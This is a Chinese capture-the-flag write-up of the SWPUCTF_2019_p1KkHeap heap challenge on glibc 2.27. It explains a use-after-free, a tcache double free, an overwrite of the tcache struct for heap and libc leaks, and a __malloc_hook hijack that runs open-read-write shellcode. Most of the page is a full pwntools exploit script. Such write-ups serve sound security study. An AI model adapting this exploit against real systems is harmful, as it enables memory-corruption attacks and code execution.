buu刷题记录—SWPUCTF_2019_p1KkHeap
这波又刷新了我对2.27版本libc的认知。那就是tcache struct ,话不多说看题。
静态分析
64位保护全开,习惯就好。载入IDA查看发现plt表有很多函数,其中有mmap和prctl,prctl最常见的就是设置沙箱规则,mmap最常见的就是直接给一个可读可写可执行的一片内存区域,那么我们返回终端查看一下沙箱规则。
 
这个有点复杂,不过大概率就可以认为他给你禁用了execve,其它的基本不用管,大概意思就是write函数的count必须非负,且大小在32位int范围内,并且不能=0x10,有一说一这个0x10并不理解为啥限制这个不能等于0x10,因为我读flag一般是读0x40
我们看看初始化函数,可以看到mmap分配了一片很大的内存并且是可读可写可执行的权限,那么开了沙箱之后我们就能往里面写orw的shellcode,然后再劫持某些东西让它跳转到这个区域。
分析逻辑, 经典堆菜单题目,包含了增删改查,但是有一个全局变量一直在++并且循环并非while 1,可以发现这个初始值为0x12,意味着我们只能操作18次。先看删除,发现删除没有把指针清零,存在UAF,但是会把另一个东西清零,并且跟外面一样,删除有次数限制,只有三次机会。添加堆块会现寻找第一个指针不为0的指针,然后分配,最多同时存在八个堆块,size被限定在0x100以内。show会直接打印堆块上面的信息,edit就是根据输入的size读入数据,删除会导致无法edit,但是不影响show,所以这个地方可以用于泄露,后面的利用也都以uaf为基础攻击。
泄露libc
这里需要注意,glibc在2.26版本加入了tcache,tcache在堆上管理,会分配一个0x250大小的堆块,这就是一个tcache struct 上面会存储每个size tcache 的个数和tcache第一个堆块的地址。首先double free然后show 泄露heap的地址。
| 12
 3
 4
 5
 6
 7
 8
 
 | add(0x100)add(0x100)
 free(0)
 free(0)
 show(0)
 p.recvuntil(b'content: ')
 heap_addr=u64(p.recv(6)+b'\0\0')-0x260
 success('heap_addr:'+hex(heap_addr))
 
 | 
泄露了之后我们接下来需要申请堆块到tcache struct上面来进行一些操作方便我们修改某些东西。我们都知道,每个大小的tcache bin最多存在7个,超过则会对应进入fastbin 或者 unsorted bin。那么我们把size改成7然后再free 再show就可以泄露libc的地址了。我们还可以顺便把第一个tcache的地址改成那个分配的可读可写可执行的区域,等会直接申请就可以在上面写数据了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | add(0x100)edit(2,p64(heap_addr+0x18))
 add(0x100)
 add(0x100)
 edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))
 
 free(0)
 show(0)
 libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
 success('libc_addr:'+hex(libc_addr))
 
 | 
最后比较简单,就是写shellcode orw然后劫持malloc hook而已。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | add(0x100)
 payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30)
 shellcode=asm(payload)
 
 edit(5,shellcode)
 
 edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))
 
 add(0x100)
 
 edit(6,p64(0x66660010))
 
 | 
来看看结果吧
 
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 
 | from pwn import *
 context.log_level='debug'
 context.arch='amd64'
 context.os='linux'
 def conn(x,file_name):
 if x:
 p=process(file_name)
 libc=ELF('./libc/libc-2.27-64.so')
 else:
 p=remote('node4.buuoj.cn',29949)
 libc=ELF('./libc/libc-2.27-buu64.so')
 return ELF(file_name),libc,p
 
 def add(size):
 p.sendlineafter(b'Choice: ',b'1')
 p.sendlineafter(b'size: ',str(size))
 
 
 def free(index):
 p.sendlineafter(b'Choice: ',b'4')
 p.sendlineafter(b'id: ',str(index))
 
 
 def edit(index,payload):
 p.sendlineafter(b'Choice: ',b'3')
 p.sendlineafter(b'id: ',str(index))
 p.sendafter(b'content: ',payload)
 
 def show(index):
 p.sendlineafter(b'Choice: ',b'2')
 p.sendlineafter(b'id: ',str(index))
 
 
 elf,libc,p=conn(1,'./SWPUCTF_2019_p1KkHeap')
 
 add(0x100)
 add(0x100)
 free(0)
 free(0)
 show(0)
 p.recvuntil(b'content: ')
 heap_addr=u64(p.recv(6)+b'\0\0')-0x260
 success('heap_addr:'+hex(heap_addr))
 
 add(0x100)
 edit(2,p64(heap_addr+0x18))
 add(0x100)
 add(0x100)
 edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))
 
 free(0)
 show(0)
 libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
 success('libc_addr:'+hex(libc_addr))
 
 add(0x100)
 
 payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30)
 shellcode=asm(payload)
 
 edit(5,shellcode)
 
 edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))
 
 add(0x100)
 
 edit(6,p64(0x66660010))
 
 
 gdb.attach(p)
 p.interactive()
 
 |